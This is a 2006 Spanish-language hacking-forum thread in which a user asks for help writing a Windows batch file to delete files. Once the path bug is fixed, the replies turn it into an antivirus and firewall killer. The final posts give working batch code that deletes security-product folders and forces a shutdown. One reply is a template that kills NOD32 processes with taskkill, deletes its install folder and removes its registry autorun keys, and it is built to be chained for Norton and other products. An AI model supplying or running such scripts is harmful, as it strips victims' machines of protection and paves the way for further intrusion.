elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Básico (Moderadores: zhyzura, kamsky, TRICKY)
| | | |-+  bat para eliminar cualquier cosa(firewall,antivirus)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: bat para eliminar cualquier cosa(firewall,antivirus)  (Leído 3,617 veces)
gordy(D!@bL0)

Desconectado Desconectado

Mensajes: 136


Dale al Diablo lo que es suyo:


Ver Perfil
bat para eliminar cualquier cosa(firewall,antivirus)
« en: 9 Agosto 2006, 14:50 »

hola bueno soy nuevo en esto del .bat
pero lo q quiero hacer es con un bat eliminar algun archivo..ya cada uno se puede imaginar q o para q lo quiere..pero no puedo q el bat funcke no se q hago mal..(en en el cmd hago lo mismo q en el bat y da todo belleza lo borro pero a la hora de hacer el bat no  me sale q la ruta especifiaca no es valida ..no enitiendo por q:
ej:
1 Quiero borrar un archivo q esta en el disco c:/ Archivos de programas/ojala
2 hago lo siguiente:
3 abro mi bloc de notas
4 escribo el siguiemte comando:

@echo off
cd..
cd..
cd "Archivos de programas"
del/Q/S"ojala"

5 le doy guardar como
6 pongo la extensión nombre.bat
7 en tipo todos los archivo
8 en codificacion e probado con los 3 q se puede y ninguna dio
 
bueno eso lo hago en el cmd y me sale todo bien(elimina el el contenido de la carpeta) pero con el bat no da. q hago mal q falta....porfis
« Última modificación: 9 Agosto 2006, 16:15 por gordy » En línea

[scroll][size=20]:):):):):)Saludos de Gordicito:):):):):)[/size][/scroll]
Neobius


Desconectado Desconectado

Mensajes: 2.080


Viva Linux!


Ver Perfil
Re: bat para eliminar cualquier cosa
« Respuesta #1 en: 9 Agosto 2006, 15:00 »

Seria mejor que lo pusieras asi:

Código:
@echo off
cd "C:\Archivos de Programa"
del/Q/S"ojala"

Ya que si yo guardo el bat en una carpeta que no sea de "segundo nivel", por ejemplo c:\documents and settings\mis documentos\descargas\archivo.bat

Si tu haces cd.. cd.. acabarias en la carpeta c:\documents and settings.

Por eso es mejor que pruebes con lo que yo te he puesto arriba, asi iras diretamente a la carpeta que quieres.
En línea



Todos somos muy ignorantes, lo que ocurre es que no todos ignoramos lo mismo.
Albert Einstein

Recuerda: El arca de Noe fue construida por aficionados, el titanic por profesionales

http://neobius.blogspot.com
gordy(D!@bL0)

Desconectado Desconectado

Mensajes: 136


Dale al Diablo lo que es suyo:


Ver Perfil
Re: bat para eliminar cualquier cosa
« Respuesta #2 en: 9 Agosto 2006, 15:16 »

Seria mejor que lo pusieras asi:

Código:
@echo off
cd "C:\Archivos de Programa"
del/Q/S"ojala"

Ya que si yo guardo el bat en una carpeta que no sea de "segundo nivel", por ejemplo c:\documents and settings\mis documentos\descargas\archivo.bat

Si tu haces cd.. cd.. acabarias en la carpeta c:\documents and settings.

Por eso es mejor que pruebes con lo que yo te he puesto arriba, asi iras diretamente a la carpeta que quieres.
como va gracia mira q hice lo mismo y sigo con el mismo problema no me da.....a mi se me hace q estoy haciendo mal el bat o la verdad no entiendo q pueda ser..puse copiar y pegar el comando q me distes y nada ..ni asi
En línea

[scroll][size=20]:):):):):)Saludos de Gordicito:):):):):)[/size][/scroll]
Neobius


Desconectado Desconectado

Mensajes: 2.080


Viva Linux!


Ver Perfil
Re: bat para eliminar cualquier cosa
« Respuesta #3 en: 9 Agosto 2006, 15:41 »

Pues entonces decduzco que el error se encuentra en esta linea:

Código:
del/Q/S"ojala"

Yo ahora mismo estoy en linux, asi que no puedo comprobar lo que te voy a decir, pero se me ocurre que podrias hacerlo dejando un espacio, algo asi:

Código:
del/Q/S "ojala"

O si no prueba estos:

Código:
del /Q/S "ojala"
Código:
del /Q/S ojala
Código:
del/Q/S ojala

En línea



Todos somos muy ignorantes, lo que ocurre es que no todos ignoramos lo mismo.
Albert Einstein

Recuerda: El arca de Noe fue construida por aficionados, el titanic por profesionales

http://neobius.blogspot.com
gordy(D!@bL0)

Desconectado Desconectado

Mensajes: 136


Dale al Diablo lo que es suyo:


Ver Perfil
Re: bat para eliminar cualquier cosa
« Respuesta #4 en: 9 Agosto 2006, 15:46 »

Pues entonces decduzco que el error se encuentra en esta linea:

Código:
del/Q/S"ojala"

Yo ahora mismo estoy en linux, asi que no puedo comprobar lo que te voy a decir, pero se me ocurre que podrias hacerlo dejando un espacio, algo asi:

Código:
del/Q/S "ojala"

O si no prueba estos:

Código:
del /Q/S "ojala"
Código:
del /Q/S ojala
Código:
del/Q/S ojala


oye man si tenes toda la razon del mundo me faltaba espacio en el "ojala"....jejejeje q soy bruto como no me fije pero como esta en tu mensaje todos somos ignorantes pero no todos ignoramos lo mismo y a veces se te pasa las cosas..gracias mano....

RESULTADO FINAL DE MIS PRUEBAS

ESTE ES EL CODIGO:::para eliminar los anitvirus y firewall claro esta q los nombres hay q ponerlos corectos

@echo off
cd "C:\Archivos de Programa"
del/Q/S "firewaall"
del/Q/S "antivirus1"
shutdown –s –t 1
« Última modificación: 9 Agosto 2006, 16:04 por gordy » En línea

[scroll][size=20]:):):):):)Saludos de Gordicito:):):):):)[/size][/scroll]
GroK


Desconectado Desconectado

Mensajes: 680


...I have become comfortably numb...


Ver Perfil
Re: bat para eliminar cualquier cosa(firewall,antivirus)
« Respuesta #5 en: 9 Agosto 2006, 19:07 »

jaja weno, el bat en si no esta mal pero es un poco ingenuo para lo q propones  :P tndrias q tener en cuenta los procesos activos de esos avs/firewalls, y antes q nada matarlos con el comando 'taskkill', xq si no no te dejara borrarlos. Y si ademas pretende ser universal, osea para que funcione con la mayoria de avs/firewalls existentes pues se podria hacer con unos if's encadenados, en plan:

Código:
@echo off
::  para nod32, comprobamos si existe su ruta por defecto
if exist "%ProgramFiles%\Eset" (goto killnod32) else goto norton
:killnod32
taskkill /f /im "nod32krn" /im "nod32kui"
del /f /s /q "%ProgramFiles%\Eset"
reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /f /v "nod32kui"
reg delete HKLM\Software\Eset
::  bien con esto ya hemos barrido y borrado el
::  primer av del ejemplo, en este caso nod32
goto norton
::  con este goto nos hemos asegurado seguir recorriendo
::  la lista de avs para borrar, tanto si existe cmo
::  si no existe el primero, y despues cn el segundo etc etc.
::  Asi nos aseguramos en caso de q tnga mas de 1 AV
:norton
if exist "%ProgramFiles%\Symantec" (goto killnorton) else goto kav
:killnorton
...

::  volvemos a lo mismo, hay q investigar un poco en q carpetas
::  por defecto se instalan los avs que keremos eliminar,
::  como se nombran sus procesos activos, que claves crea en el registro, etc.
::  Cuesta trabajo pero nos kedara mucho mas fino ;)

Es mi idea personal sobre un AV/FW killer en batch, pero weno tiene sus fallos seguramente y hay q currarselo bastante  :P espero q haya aportado algo xD

Saludos
« Última modificación: 9 Agosto 2006, 19:10 por Grok » En línea

"I put on my Hendrix album and my son said 'Dad, who's that?' and i said 'Well son, that's God' "- Robert Plant

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Powered by SMF 1.1.19 | SMF © 2006-2008, Simple Machines